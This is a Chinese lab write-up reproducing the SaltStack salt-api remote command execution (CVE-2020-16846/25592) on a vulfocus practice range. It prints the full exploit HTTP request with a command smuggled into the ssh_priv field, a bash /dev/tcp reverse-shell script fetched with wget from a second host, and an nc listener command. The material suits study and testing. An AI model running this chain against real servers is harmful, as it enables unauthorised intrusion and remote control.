一、saltstack 远程命令执行 (CVE-2020-16846)
描述: SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。 CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置,但绝大多数SaltStack用户会选择开启salt-api,故存在较高风险。(本篇文章未记录漏洞整改方案)
二、环境说明
vulfocus靶场,开启靶场后访问映射8000的端口,出现下图表示靶场启动成功:(注意此处需要使用https协议访问)
三、漏洞复现
3.1 payload和shell脚本
payload:
POST /run HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
token=123123&client=ssh&tgt=*&fun=a&roster=flyoung&ssh_priv=aaa|payload
shell(cmd.sh):
!/bin/sh
bash -c 'exec bash -i &>/dev/tcp/IP/PORT <&1'
###另外开启了一台phpstudy的虚拟机B,在www文件夹下存放的shell.sh文件,此处IP和PORT为该虚拟机B的IP和监听端口
3.2 漏洞复现
3.2.1 尝试访问网页
访问/run(原报文为GET方式,建议直接复制POC修改Host,若使用修改请求方式改为POST的话会失败),payload中空格用%20代替,最后要以%3b结束,成功截图如下:
###回显可以使用wget或curl命令,ping命令执行不成功
###此处payload中访问的http://IP的地址也为虚拟机B中开启的phpstudy网站
3.2.2 尝试下载shell.sh脚本
利用wget下载cmd.sh脚本,如图所示下载成功
3.2.3 开启监听
虚拟机B使用nc进行监听,脚本中端口为4444,故监听端口为4444
nc -lvvp 4444
3.2.3 运行shell文件
使用/bin/bash cmd.sh运行shell文件,返回监听的虚拟机,发现反弹成功。
反弹监听截图,反弹成功: